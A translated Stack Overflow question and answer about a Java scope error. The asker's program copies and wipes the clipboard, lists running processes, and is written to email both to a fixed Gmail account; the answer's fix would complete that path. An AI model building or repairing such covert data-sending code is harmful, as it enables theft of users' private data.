java - 变量无法解析

标签 java eclipse

我正在制作我的第一个 Java 程序(希望在下个世纪掌握它)并遇到了一些问题。当我尝试使用文本和先前创建的字符串的组合来创建字符串时,Eclipse 表示无法解析变量。有人可以帮我吗?谢谢!

//Clipboard
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.StringSelection;
import java.awt.datatransfer.Transferable;
//Taskmanager
import java.io.BufferedReader;
import java.io.InputStreamReader;
//Email-er
import java.util.Properties;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
/*
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
* No data received from this app is used for any other purpose except the ones above
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
* You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
* Silver is NOT responsible for any damages, physical or virtual, caused by this program
* Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
* Copyright IdreesInc.com  All rights reserved
*/
public class Application {
     static Properties mailServerProperties;
     static Session getMailSession;
     static MimeMessage generateMailMessage;
     public static void main(String args[]) throws AddressException, MessagingException {
            generateAndSendEmail();
            System.out.println("\n\n ===> Your Java Program has just sent an Email successfully. Check your email..");
        }

        public static void generateAndSendEmail() throws AddressException, MessagingException {     

            boolean allowEmails = false;
         Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);

            try {
                if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
                    String text = (String)t.getTransferData(DataFlavor.stringFlavor);
                    String data = text;
                    System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
                    text=""; //String is now empty
                    StringSelection ss = new StringSelection(text); //Clears Clipboard data
                    Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
                    System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging

                }
            }
            catch(Exception e)
            {

        }
            try {
                String line;
                Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
                BufferedReader input =
                        new BufferedReader(new InputStreamReader(p.getInputStream()));
                while ((line = input.readLine()) != null) {
                    System.out.println(line); //Data is parsed
                }
                input.close();

            } catch (Exception err) {
                err.printStackTrace();
            }

    if(allowEmails == true) {

    //Step1   
            System.out.println("\n\n 1st ===> setup Mail Server Properties..");
            mailServerProperties = System.getProperties();
            mailServerProperties.put("mail.smtp.port", "587");
            mailServerProperties.put("mail.smtp.auth", "true");
            mailServerProperties.put("mail.smtp.starttls.enable", "true");
            System.out.println("Mail Server Properties have been setup successfully..");

    //Step2        
            System.out.println("\n\n 2nd ===> get Mail Session..");
            getMailSession = Session.getDefaultInstance(mailServerProperties, null);
            generateMailMessage = new MimeMessage(getMailSession);
            generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("javasmtpserver@gmail.com"));
            generateMailMessage.setSubject("Application 'Bitter Coffee' Has Been Activated");
            String emailBody = "Application 'Bitter Coffee' has been activated and has ran successfully" + "<br><br>The activators information is as follows: " + "<br>Clipboard Data: " + data + "<br>Active Tasks: " + input + "<br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com  All rights reserved";
            generateMailMessage.setContent(emailBody, "text/html");
            System.out.println("Mail Session has been created successfully..");

    //Step3        
            System.out.println("\n\n 3rd ===> Get Session and Send mail");
            Transport transport = getMailSession.getTransport("smtp");
            // Enter your correct Gmail UserID and Password
            transport.connect("smtp.gmail.com", "javasmtpserver", "serverpassword");
            transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());
            transport.close();
    }
        }

}

后记:这是我的第一篇 Stack Overflow 帖子,所以如果我搞砸了任何内容,请纠正我。在发布之前,我已经到处寻找问题的答案。我确信这是一个很容易解决的问题,但由于这是我的第一个 Java 项目,我迷失了方向。再次感谢大家,祝您编码愉快!

Post-Postscript:这段代码是为我创建的一个小项目。别担心,我不会将它用于任何邪恶的需求;)

编辑:愚蠢的我忘了给出完整的错误:)
它们是:“输入无法解析为变量” “数据无法解析为变量”

它们是“Step 2”中的第 6 行 再次感谢!

最佳答案

在 Java 中,您只能在定义变量的 block 中使用变量。

您在 try block 内声明变量 datainput

这意味着您只能在该 block 内使用它们。

如果您想在步骤 2 中使用 datainput,您应该在 try block 之前声明它们。

<小时/>

要修复它,请执行以下操作:

public class Application {

    public static main(String[] args) {

        String data = null;
        String commandOutput = "";
        BufferedReader input = null;

        try {
            // do stuff
            data = text;
            input = // initialize buffered reader
            String line = input.readLine();
            while (line != null) {
                commandOutput += line;
                line = input.readLine();
            }
        }
        catch (SomeSpecificException ex) {
            // please handle exceptions!
        }
        catch (IOException ioex) {
            // handle IO Exceptions here
        }
        finally {               
            try {
                input.close();
            }
            catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        .
        .
        .
        String emailBody = "blah blah " + data + " blah blah " + commandOutput;
    }
}

关于java - 变量无法解析,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/17669626/

相关文章:

java - FileInputStream 在哪个文件夹中查找?

java - 插件与 dropins 和功能之间有什么区别?

eclipse - 类加载器顺序无法更改

java - EJB3 计时器在 Wildfly 服务器中不工作

java - gradle从项目中排除暂时依赖

eclipse - Mylyn 提交默认消息丢失

java - 如何获得一个编译可用的eclipse?

ios - 我可以使用 Eclipse 编写 iPhone 应用程序代码吗?

java - Google Eclipse 插件重新编译问题

java - IntStream.boxed() 与 for 循环 |表现